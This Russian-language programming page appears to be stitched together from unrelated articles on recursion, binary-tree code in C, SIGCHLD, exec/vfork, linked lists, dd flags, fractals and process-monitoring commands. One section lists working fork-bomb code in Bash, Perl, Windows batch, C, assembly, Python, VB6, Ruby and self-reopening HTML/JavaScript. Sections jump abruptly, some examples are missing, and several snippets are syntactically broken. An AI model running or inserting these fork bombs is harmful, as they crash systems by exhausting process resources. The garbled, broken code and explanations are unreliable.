Рекурсивные операции с пересборкой дерева
При рекурсивной пересборке дерева мы не нуждаемся в указателе на родителя. Родитель «при нас», это текущий элемент, так что мы можем контролировать дельнейшие действия.
Определение узла и функции, которая возвращает новый узел.
typedef int T;
#define CMP_EQ(a, b) ((a) == (b))
#define CMP_LT(a, b) ((a) < (b))
#define CMP_GT(a, b) ((a) > (b))
typedef struct Node {
T data;
struct Node *left;
struct Node *right;
} Node;
Node *getNode(T value) {
Node* tmp = (Node*) malloc(sizeof(Node));
tmp->left = tmp->right = NULL;
tmp->data = value;
return tmp;
}
Функция вставки нового элемента возвращает новое дерево. Это дерево построено из старого, в которое добавлен новый узел. Причём процесс пересборки в тоже время производит поиск места, в которое нужно произвести вставку.
Если функция получает NULL в качестве аргумента, то она возвращает новый узел. Если узел больше значения, которое мы хотим вставить, то левой ветви присваиваем значение, которое возвращает наша же функция insert, то есть она «дособирает» левую ветвь. Аналогично, если значение узла меньше, то мы «дособираем» правую ветвь и возвращаем узел.
Node* insert(Node* root, T value) {
if (root == NULL) {
return getNode(value);
}
if (CMP_GT(root->data, value)) {
root->left = insert(root->left, value);
return root;
} else if (CMP_LT(root->data, value)) {
root->right = insert(root->right, value);
return root;
} else {
exit(3);
}
}
Удаление элемента состоит из пересборки дерева, во время которого мы пропускаем добавление удаляемого узла. При этом сам процесс является ещё и нахождением нужного нам узла (того, который мы хотим удалить).
Когда мы доходим до конца дерева, то логично закончить работу и вернуть NULL.
if (root == NULL) {
return NULL;
}
Теперь проверяем, если текущий узел не равен удаляемому значению, то продолжаем сборку левой и правой ветвей.
if (CMP_GT(root->data, value)) {
root->left = deleteNode(root->left, value);
return root;
} else if (CMP_LT(root->data, value)) {
root->right = deleteNode(root->right, value);
return root;
} else {
//Магия здесь
}
}
Если же мы наткнулись на узел, который хотим удалить, то есть несколько ситуаций.
if (root->left && root->right) {
//Заменить значение текущего узла на максимум левой подветви
//Удалить максимум левой подветви
//Вернуть собранное значение
} else if (root->left) {
//Удалить узел и вернуть его левую подветвь
} else if (root->right) {
//Удалить узел и вернуть его правую подветвь
} else {
//Удалить узел и вернуть NULL
}
Полный код
Node* deleteNode(Node* root, T value) {
if (root == NULL) {
return NULL;
}
if (CMP_GT(root->data, value)) {
root->left = deleteNode(root->left, value);
return root;
} else if (CMP_LT(root->data, value)) {
root->right = deleteNode(root->right, value);
return root;
} else {
if (root->left && root->right) {
Node* locMax = findMaxNode(root->left);
root->data = locMax->data;
root->left = deleteNode(root->left, locMax->data);
return root;
} else if (root->left) {
Node *tmp = root->left;
free(root);
return tmp;
} else if (root->right) {
Node *tmp = root->right;
free(root);
return tmp;
} else {
free(root);
return NULL;
}
}
}
Функции нахождения узла, максимум и минимума не изменятся.
Q&A
Всё ещё не понятно? – пиши вопросы на ящик
Примеры
Либо запустив его в терминале:
fork while fork
- На языке Perl :
perl -e "fork while fork" &
- В оболочке Bash :
:(){ :|:& };:
Пояснения: определяет именованную функцию .
это тело функции. В этом случае функция вызывает саму себя ( ), затем перенаправляет вывод с помощью конвейера ( ) на вход той же функции и скрывает процесс в фоновом режиме с помощью . Функция, затем вызываемая с помощью , вызывается рекурсивно до бесконечности.
- Используя :
Хотя функция «fork», которая дала название бомбам- вилкам , является соглашением Posix , Microsoft Windows также позволяет выполнять ее по тому же принципу:
%0|%0
Или также:
s start %0 goto s
- На языке C :
#include <unistd.h>
int main(void)
{
while(1) {
/* ici on peut ajouter un malloc pour utiliser plus de ressources */
fork();
}
return ;
}
- В ассемблере x86:
entry start
start:
push 0x2
pop eax
int 0x80
jmp start
- В Python :
На некоторых платформах (FreeBSD, Cygwin ..) могут быть ошибки (OSError)
import os
while True
os.fork()
Или же
import subprocess, sys
while True
subprocess.Popen(], creationflags=subprocess.CREATE_NEW_CONSOLE)
- В VB6 :
Private Sub Main()
Do
Shell App.EXEName
Loop
End Sub
- В Ruby :
loop { fork }
- В HTML (и JavaScript ):
В HTML вы можете сделать две страницы открытыми во фреймах, которые рекурсивно открывают одни и те же фреймы, вызывая отказ в обслуживании . Однако с браузерами, создающими процесс с вкладками, у вас может быть аутентичная вилка-бомба в html и JavaScript , если браузер не блокирует всплывающие окна или javascript:
<html>
<script type="text/javascript">
function open_target_blank() {
window.open(window.location);
}
window.onload = open_target_blank();
</script>
<body>
</body>
</html>
Программирование – определение
Но перед определением упомянутого термина требуется разобраться с другими важными понятиями. Что такое программирование, о котором тоже зайдет речь, понимает далеко не каждый.
Так описывают процедуру создания компьютерных программ, игр, приложений. Основывается на применении определенного синтаксиса. А именно – языка программирования.
Сейчас есть программирование как на мобильных, так и на компьютерных платформах. Люди, занимающиеся написанием кодов программ, называются программистами.
Язык программирования
Язык программирования – некий сборник формальных правил, согласно которым пишутся всевозможные программы. Требуется для того, чтобы пользователь/программер мог «общаться» с компьютерами и другими устройствами.
Языков существует огромное множество. Каждый обладает собственным синтаксисом, функциями, операторами, посредством которых составляются выражения. Условно разделяются на:
- объектно-ориентированные;
- декларативные.
Первые просты в освоении, так как используют в процессе создания приложения независимые объекты и их группы. Декларативные языки предусматривает установление связи между информационными первоначальными структурами, а также конечным результатом.
Рекурсивные функции присутствуют в каждом языке. Если разобраться с ними, получится быстро производить различные расчеты через компьютеры, а также составлять расчетные приложения.
Игнорирование SIGCHLD
Допустим, мы не хотим ждать дочерние процессы и нам не интересен код их выхода. Как избежать появления процессов-зомби?
При завершении дочернего процесса в родительский приходит сигнал SIGCHLD. Действие для него по умолчанию — отбрасывать (сигнал даже не считается доставленным процессу). Зомби при этом остаются.
static void child_handler(int sig)
{
pid_t pid;
int status;
while((pid = waitpid(-1, &status, WNOHANG)) > )
;
}
/* Establish handler. */
struct sigaction sa;
sigemptyset(&sa.sa_mask);
sa.sa_flags = ;
sa.sa_handler = child_handler;
sigaction(SIGCHLD, &sa, NULL);
Но это избыточно. Оказывается, достаточно явно прописать игнорирование сигнала. Отличие от поведения по умолчанию в том, что сигнал будет считаться доставленным и зомби не будут образовываться.
signal(SIGCHLD, SIG_IGN); /* Silently (and portably) reap children. */
Когда использовать рекурсию
Выбор между рекурсивным и итеративным методом может в значительной степени зависеть от языка, который вы используете, или от задачи, которую вы намерены решить. Например, в JavaScript рекурсия может привести к ошибкам stack frame errors, когда предел стека уже достигнут, а базовое условие ещё не выполнено. В таком случае, итеративный подход будет работать лучше.
Рассмотренный выше случай является хорошим примером того, когда рекурсия работает намного лучше, чем цикл.
Давайте представим, что помимо тех чисел, которые мы использовали в предыдущем примере, нам нужно учитывать и другие данные. Например, мы можем отслеживать то, как регулярные платежи влияют на срок кредита. Возможно, мы захотим остановить цикл до завершения последовательности. Если общее количество раз, когда начисляются проценты по кредиту равно 120, то и длина списка равна 120. Но, если сумма кредита будет равна 0 уже после 100 итераций, то в конце списка останется 20 неиспользуемых и ненужных элементов списка. Проблема дальнейшего усложнения сценария цикла заключается в том, что значения переменных, таких как сумма кредита, зависит от значения той же переменной на предыдущей итерации. Дело не в том, что это сложно реализовать, а в том, что это грязно.
Визуализация данной проблемы:
Параметры для iflag, oflag:
Также отдельно стоит рассмотреть параметры и . Они позволяют задать дополнительные флаги: — для устройств ввода, а — для вывода.
Наиболее популярные флаги:
- — режим дописывания данных в файл. применяют только для вывода. Когда вы объедините этот флаг с конструкцией “”, нужно еще указать параметр “”, чтобы выходной файл не был обрезан из-за добавления новых данных.
- — режим обработки данных в обход кэша. Этот флаг повышает скорость.
- — запись данных с синхронизацией. Этот флаг повышает надежность.
- — так же как и , но и с метаданными.
- — выдавать ошибку, при использовании каталога.
- — чтение только полных блоков. Применяется только для .
- — не обновляет время доступа к элементам файловой системы. Флаг повышает скорость.
- — запрет на переход по символическим ссылкам.
exec()
exec запускает исполняемый файл в контексте уже существующего процесса, заменяя предыдущий исполняемый файл.
Есть несколько функций из этого семейства:
#include <unistd.h>
extern char **environ;
int execl(const char *path, const char *arg0, ... /*, (char *)0 */);
int execv(const char *path, char *const argv);
int execle(const char *path, const char *arg0, ... /*,
(char *)0, char *const envp[]*/);
int execve(const char *path, char *const argv, char *const envp);
int execlp(const char *file, const char *arg0, ... /*, (char *)0 */);
int execvp(const char *file, char *const argv);
- Версия с l принимает аргументы через varargs, версия с v принимает массив строк.
- Версия с e позволяет дополнительно передать переменные окружения.
- Версия с p ищет исполняемый файл в PATH, без p требует полный путь.
В чём идея
Чтобы перебрать все варианты, можно сделать так:
- Смотрим, сколько у нас блоков — 4 штуки.
- Делаем первый цикл.
- Делаем второй цикл.
- Делаем третий цикл.
- Делаем четвёртый вложенный цикл.
- Внутри этого перебираем все варианты и каждый раз проверяем, чтобы один блок не встречался два раза или больше.
- Если условие выполняется — добавляем результат в итоговые варианты
- На выходе получаем все варианты.
Но это сложно: нам нужно заводить для каждого цикла свою переменную, а потом следить, чтобы они не перепутались между собой. А ещё нужно не забыть:
- про проверку на дубли;
- собирание всех последовательностей в какой-то новый массив;
- новые вложенные циклы и увеличение сложности условия, если блоков станет больше.
А можно подойти к вопросу иначе:
- Берём массив с блоками.
- Берём оттуда первый элемент, откладываем его в сторону и дальше пока работаем с оставшимся массивом.
- В оставшемся массиве тоже берём первый элемент, откладываем его в сторону и снова работаем с оставшимся массивом.
- Так погружаемся в массив до тех пор, пока в нём не останется ни одного элемента.
- А теперь на каждом этапе возврата назад мы переставляем наш отложенный первый элемент на соседнее место и запоминаем получившуюся комбинацию.
- Так на каждом шаге мы будем получать всё новые и новые комбинации перестановок — сначала это будут перестановки из двух элементов, потом из трёх и так далее.
- Возвращаемся к пункту 2 и делаем то же самое со вторым элементом.
- Так проходим все элементы до последнего.
Обратите внимание, что у нас получился только один цикл, который перебирает по очереди все элементы массива. А вот внутри этого цикла и происходит вся магия: мы погружаемся всё глубже и глубже по одним и тем же правилам, а потом начинаем собирать результаты с конца. . На самом деле мы только что описали рекурсию: функцию, которая вызывает сама себя, но на каждом шаге с новыми условиями
На самом деле мы только что описали рекурсию: функцию, которая вызывает сама себя, но на каждом шаге с новыми условиями.
Отличия и связи
Использование vfork () аналогично fork (). Но есть и различия. Конкретные различия сводятся к следующим 3 пунктам
-
fork () Дочерний процесс копирует сегмент данных и сегмент кода родительского процесса.Дочерний процесс vfork () разделяет сегмент данных с родительским процессом.
-
fork () Порядок выполнения родительского и дочернего процессов не определен.vfork (): убедитесь, что дочерний процесс запускается первым,
vfork () гарантирует, что дочерний процесс запускается первым, а родительский процесс может быть запланирован для запуска только после того, как он вызовет exec или _exit. Если вПеред вызовом этих двух функций дочерний процесс зависит от дальнейших действий родительского процесса, которые вызовут взаимоблокировку.
Перед вызовом exec или _exit данные с родительским процессом являются общими, и родительский процесс может быть запланирован для запуска после того, как он вызовет exec или _exit. Если дочерний процесс зависит от дальнейших действий родительского процесса перед вызовом этих двух функций, это вызовет взаимоблокировку. Когда значение переменной в сегменте общих данных необходимо изменить, родительский процесс копируется
vfork используется для создания нового процесса, и целью нового процесса является выполнение нового процесса. vfork и fork создают дочерний процесс, но он не полностью копирует адресное пространство родительского процесса в дочерний процесс и не будет копировать Таблица страниц. Поскольку дочерний процесс немедленно вызовет exec, адресное пространство не будет сохранено. Но перед вызовом exec или exit в дочернем процессе он запускается в пространстве родительского процесса.
Если дочерний процесс зависит от дальнейших действий родительского процесса при вызове vfork, это вызовет тупик. Это показывает, что этот системный вызов используется для запуска нового приложения. Во-вторых, дочерний процесс запускается непосредственно в пространстве стека родительского процесса после возврата vfork () и использует память и данные родительского процесса. Это означает, что дочерний процесс может уничтожить структуру данных или стек родительского процесса, что приведет к сбою.
Чтобы избежать этих проблем, необходимо убедиться, что после вызова vfork () дочерний процесс не возвращается из текущего фрейма стека, и если дочерний процесс изменяет структуру данных родительского процесса, функция выхода не может быть вызвана.
Дочерний процесс также должен избегать изменения какой-либо информации в глобальной структуре данных или глобальных переменных, поскольку эти изменения могут помешать продолжению родительского процесса. В общем, если приложение не вызывает exec () сразу после fork (), необходимо выполнить тщательную проверку перед заменой fork () на vfork ().
Рекурсивные структуры
Рекурсивная (рекурсивно определяемая) структура данных – это структура, которая повторяет саму себя в своих частях.
Мы только что видели это на примере структуры компании выше.
Отдел компании – это:
- Либо массив людей.
- Либо объект с отделами.
Для веб-разработчиков существуют гораздо более известные примеры: HTML- и XML-документы.
В HTML-документе HTML-тег может содержать:
- Фрагменты текста.
- HTML-комментарии.
- Другие HTML-теги (которые, в свою очередь, могут содержать фрагменты текста/комментарии или другие теги и т.д.).
Это снова рекурсивное определение.
Для лучшего понимания мы рассмотрим ещё одну рекурсивную структуру под названием «связанный список», которая в некоторых случаях может использоваться в качестве альтернативы массиву.
Представьте себе, что мы хотим хранить упорядоченный список объектов.
Естественным выбором будет массив:
…Но у массивов есть недостатки. Операции «удалить элемент» и «вставить элемент» являются дорогостоящими. Например, операция должна переиндексировать все элементы, чтобы освободить место для нового , и, если массив большой, на это потребуется время. То же самое с .
Единственные структурные изменения, не требующие массовой переиндексации – это изменения, которые выполняются с конца массива: . Таким образом, массив может быть довольно медленным для больших очередей, когда нам приходится работать с его началом.
Или же, если нам действительно нужны быстрые вставка/удаление, мы можем выбрать другую структуру данных, называемую связанный список.
Элемент связанного списка определяется рекурсивно как объект с:
- ,
- – свойство, ссылающееся на следующий элемент связанного списка или , если это последний элемент.
Пример:
Графическое представление списка:
Альтернативный код для создания:
Здесь мы можем ещё лучше увидеть, что есть несколько объектов, каждый из которых имеет и , указывающий на соседа. Переменная является первым объектом в цепочке, поэтому, следуя по указателям из неё, мы можем попасть в любой элемент.
Список можно легко разделить на несколько частей и впоследствии объединить обратно:
Для объединения:
И, конечно, мы можем вставить или удалить элементы из любого места.
Например, для добавления нового элемента нам нужно обновить первый элемент списка:
Чтобы удалить элемент из середины списка, нужно изменить значение предыдущего элемента:
перепрыгнуло с на значение . Значение теперь исключено из цепочки. Если оно не хранится где-нибудь ещё, оно будет автоматически удалено из памяти.
В отличие от массивов, нет перенумерации, элементы легко переставляются.
Естественно, списки не всегда лучше массивов. В противном случае все пользовались бы только списками.
Главным недостатком является то, что мы не можем легко получить доступ к элементу по его индексу. В простом массиве: является прямой ссылкой. Но в списке мы должны начать с первого элемента и перейти в N раз, чтобы получить N-й элемент.
…Но нам не всегда нужны такие операции. Например, нам может быть нужна очередь или даже двухсторонняя очередь – это упорядоченная структура, которая позволяет очень быстро добавлять/удалять элементы с обоих концов, но там не нужен доступ в середину.
Списки могут быть улучшены:
- Можно добавить свойство в дополнение к для ссылки на предыдущий элемент, чтобы легко двигаться по списку назад.
- Можно также добавить переменную , которая будет ссылаться на последний элемент списка (и обновлять её при добавлении/удалении элементов с конца).
- …Возможны другие изменения: главное, чтобы структура данных соответствовала нашим задачам с точки зрения производительности и удобства.
Реализация [ править ]
Вилочные бомбы работают как за счет использования процессорного времени в процессе разветвления , так и за счет насыщения таблицы процессов операционной системы . Базовая реализация вилочной бомбы — это бесконечный цикл, который многократно запускает новые копии самого себя.
В Unix- подобных операционных системах форк-бомбы обычно пишутся с использованием системного вызова fork . Поскольку разветвленные процессы также являются копиями первой программы, как только они возобновляют выполнение со следующего адреса по указателю кадра , они продолжают бесконечно разветвляться внутри своей собственной копии того же бесконечного цикла; это вызывает экспоненциальный рост процессов. Поскольку современные системы Unix обычно используют технику управления ресурсами « копирование при записи» при форковании новых процессов вилочная бомба обычно не насыщает память такой системы.
Операционные системы Microsoft Windows не имеют функциональных возможностей, эквивалентных системному вызову вилки Unix; вилка-бомба в такой операционной системе должна поэтому создавать новый процесс вместо разветвления из существующего.
Классический пример вилки бомбы является Unix — оболочки один , который может быть более легко понят как:
вилка () { вилка | вилка & }
В нем функция определяется ( ) как вызывающая себя ( ), затем передающая ( ) ее результат в фоновое задание самой себя ( ).
Эквивалент Windows, учитывая ограничения в системных вызовах, может быть записан как таковой в пакетном режиме :
@ echo off start copy c: \ fork { pause goto start
Еще более короткая версия этого может быть достигнута с помощью анонимных функций :
% 0 | % 0
Решаем малую часть проблемы
Как правило это самая лёгкая часть. После того, как мы определились с порядком, мы должны выделить в нём самые маленькие элементы, и решить, как мы будем обрабатывать их. Обычно, можно найти очевидное решение: в случае , как только мы дойдём до , имея при этом , это будет знаком, что мы нашли ответ, потому что реверс пустой строки ничего не даст, т.е. нам вернётся пустая строка, так как у нас нет символов, которые можно перемещать. Если мы знаем решение для базового случая, и мы знаем порядок, то для нас, степень сложности решения общего случая, уменьшается в зависимости от степени сложности данных, которыми мы оперируем, приближаясь к базовым случаям. Мы должны быть внимательны, чтобы не пропустить ни одного базового случая: они и называются базовыми, потому что образуют основу порядка. Пропуск маленького шага считается распространённой ошибкой в сложных рекурсивных задачах, и приводит к бессмысленным данным или ошибкам.
Стоит ли использовать рекурсии вместо обычных циклов?
Оба этих метода одинаково эффективны для решения задач, однако выбор одного из них зависит от типа проблемы, поставленной перед вами.
Рекурсии эффективны тогда, когда вы работаете с данными, которые слишком сложны, чтобы пройтись по ним с помощью обычных циклов. Стоит также не забывать о ценности памяти и уменьшении времени, идущем вкупе с рекурсивной функцией, в которой накопилось слишком много элементов.
Циклы так же эффективны в плане скорости и оптимизации, они занимают меньше памяти в стеке и их легче понять, потому что в теле цикла содержится больше информации о том, что происходит внутри.
- Как освоить алгоритмы?
- Алгоритмы машинного обучения простым языком. Часть 1
- 4 принципа успешной поисковой системы и не только
Читайте нас в Telegram, VK и
Перевод статьи Akiko Green: Recursion!… But Make It Simplified
Назначение команды dd
Мы упоминали, что основная задача — обработка файлов. Но в Linux все устройства, порты, оперативная память и память с кодом процессов отображаются как файлы, а это значит, что над ними можно проводить операции в . Еще утилита позволяет осуществлять выборочное копирование файлов с диска. Например, переместить фрагмент файла определенного размера или пропустить несколько гигабайт. Эта функция также помогает считать файлы с поврежденного носителя, изменить расположение байтов в файле, создавать файлы фиксированного размера. Кроме этого в можно создать дополнительную копию загрузочного сектора жесткого диска или прочитать блоки из системных файлов.
Фракталы
Хорошим примером для иллюстрации рекурсивных алгоритмов являются задачи рисования фракталов. Фрактальные кривые,
обладающие бесконечным самоподобием, не являются спрямляемыми: хоть их и можно изобразить на плоскости конечной
площади, эти кривые имют бесконечную длину. Соответственно, программно их невозможно нарисовать полностью: всегда будет
возможность нарисовать кривую детальнее. Поэтому, фрактальные кривые рисуют в некотором приближении, заранее фиксируя
максимально допустимую глубину рекурсии.
Пример программы, использующей рекурсивные вызовы функции, чтобы нарисовать ветку:
import turtle
def draw(l, n):
if n ==
turtle.left(180)
return
x = l (n + 1)
for i in range(n):
turtle.forward(x)
turtle.left(45)
draw(0.5 * x * (n - i - 1), n - i - 1)
turtle.left(90)
draw(0.5 * x * (n - i - 1), n - i - 1)
turtle.right(135)
turtle.forward(x)
turtle.left(180)
turtle.forward(l)
draw(400, 5)
Результат выполнения программы при разной глубине рекурсии:
Нарисуйте кривую Коха.
Процесс её построения выглядит следующим образом: берём единичный отрезок, разделяем на три равные части и заменяем
средний интервал равносторонним треугольником без этого сегмента.
В результате образуется ломаная, состоящая из четырёх звеньев длины 1/3.
На следующем шаге повторяем операцию для каждого из четырёх получившихся звеньев и т. д…
Предельная кривая и есть кривая Коха.
Пример работы алгоритма при разной глубине рекурсии:
Для ускорения рисования используйте:
turtle.speed('fastest')
Три копии кривой Коха, построенные (остриями наружу) на сторонах правильного треугольника,
образуют замкнутую кривую бесконечной длины, называемую снежинкой Коха.
Нарисуйте ee.
Пример работы алгоритма при разной глубине рекурсии:
Нарисуйте кривую Минковского.
Кривая Минковского нулевого порядка — горизонтальный отрезок.
Затем на каждом шаге каждый из отрезков заменяется на ломанную, состоящую из 8 звеньев.
Пример работы алгоритма при разной глубине рекурсии:
Нарисуйте кривую Леви.
Она получается, если взять половину квадрата вида /\, а затем каждую сторону заменить таким же фрагментом и так далее.
Пример работы алгоритма при разной глубине рекурсии:
Нарисуйте кривую дракона.
Кривая дракона нулевого порядка — горизонтальный отрезок.
Разделим отрезок пополам и построим на нем прямой угол, получив кривую дракона первого порядка:
На сторонах прямого угла снова построим прямые углы. При этом вершина первого угла находится справа от начальной точки A,
а направления, в которых строятся вершины остальных углов, чередуются.
Примеры:
Нарисуйте Канторово множество.
Канторово множество нулевого порядка — горизонтальный отрезок.
Удалив среднюю треть получим множество первого порядка.
Повторяя данную процедуру получим остальные множества.
Просмотр списка процессов
ps
ps (process status)
Опции разных видов:
- UNIX options (начинаются с -)
- BSD options (без -)
- GNU long options (--)
$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 35660 3396 ? Ss авг.26 0:43 /sbin/init ...
Пример — получить имя процесса по PID:
sobols@sobols-VirtualBox:~$ ps -p 1 -o comm= systemd sobols@sobols-VirtualBox:~$ ps -p 1 -o command= /sbin/init splash
pgrep
Поиск процесса по имени.
$ pgrep 'bash'
примерно эквивалентно такому:
$ ps ax | awk '{sub(/.*\//, "", $5)} $5 ~ /bash/ {print $1}'
pidof
Аналогично, поиск по имени.
sobols@sobols-VirtualBox:~$ pgrep init sobols@sobols-VirtualBox:~$ pgrep systemd -l 1 systemd 201 systemd-journal 243 systemd-udevd 673 systemd-logind 1084 systemd sobols@sobols-VirtualBox:~$ pgrep ^systemd$ -l 1 systemd 1084 systemd sobols@sobols-VirtualBox:~$ pidof systemd 1084 sobols@sobols-VirtualBox:~$ pidof init 1
top
По умолчанию она в реальном времени сортирует их по нагрузке на процессор.
ps же формирует вывод и завершается. Можно следить за выводом при помощи команды watch:
watch ps ax
Чтобы выйти из программы top, нужно нажать клавишу q.
htop
Предоставляет пользователю текстовый интерфейс; для вывода на терминал использует библиотеку ncurses.
Автор (Hisham Muhammad) назвал программу «htop» по аналогии с тем, как названа программа «pinfo», написанная программистом по имени Przemek Borys. Слово «pinfo» означает «Przemek’s info». Слово «htop» означает «Hisham’s top».
atop
Продвинутый интерактивный полноэкранный монитор производительности, написанный для Linux. Является аналогом top, но в отличие от него выводит только новые изменения об активных системных процессах.
Подходит для долговременного мониторинга ресурсов сервера, умеет писать лог.
![[linux] наблюдение за процессами при помощи strace](http://myeditor.ru/wp-content/uploads/a/0/d/a0dd3c43c72f1ea13764c3d37922c8e5.png)
